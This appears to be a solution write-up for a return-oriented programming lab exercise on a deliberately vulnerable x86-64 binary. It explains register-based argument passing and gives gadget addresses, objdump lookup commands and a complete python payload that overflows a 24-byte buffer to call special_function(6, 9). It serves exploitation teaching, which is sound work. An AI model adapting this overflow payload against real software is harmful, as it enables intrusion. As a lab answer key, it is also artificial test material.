Solution

x86-64 (64-bit) Version

Objective: Call special_function(6, 9) using ROP chain to set the flag.

In x86-64, function parameters are passed in registers (not on stack):

  • First parameter (x=6) → RDI register
  • Second parameter (y=9) → RSI register

Since the binary doesn’t have natural pop rdi/rsi gadgets, we added custom gadget functions:

void gadget_pop_rdi(void) { __asm__("pop %rdi; ret"); }  // 0x40131e
void gadget_pop_rsi(void) { __asm__("pop %rsi; ret"); }  // 0x40132b

ROP Chain Structure:

[24 bytes padding] +
[pop_rdi addr] + [value 6] +         # Set RDI = 6
[pop_rsi addr] + [value 9] +         # Set RSI = 9
[special_function addr]              # Call special_function(6, 9)

Find addresses:

objdump -d rop | grep "gadget_pop_rdi>:" -A5  # 0x40131e: pop %rdi; ret
objdump -d rop | grep "gadget_pop_rsi>:" -A5  # 0x40132b: pop %rsi; ret
objdump -d rop | grep "special_function>:"    # 0x401330

Exploit:

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*24 + b"\x1e\x13\x40\x00\x00\x00\x00\x00" + b"\x06\x00\x00\x00\x00\x00\x00\x00" + b"\x2b\x13\x40\x00\x00\x00\x00\x00" + b"\x09\x00\x00\x00\x00\x00\x00\x00" + b"\x30\x13\x40\x00\x00\x00\x00\x00")' | ./rop

Or using the exploit script:

./exploit.sh | ./rop

Key Differences from 32-bit:

  • Parameters in registers (RDI, RSI) instead of stack
  • Addresses are 8 bytes (not 4)
  • No need for pop r15 or extra stack cleanup
  • Simpler ROP chain structure

Note: The binary uses setvbuf(stdout, NULL, _IONBF, 0) to ensure flag output is flushed before segfault.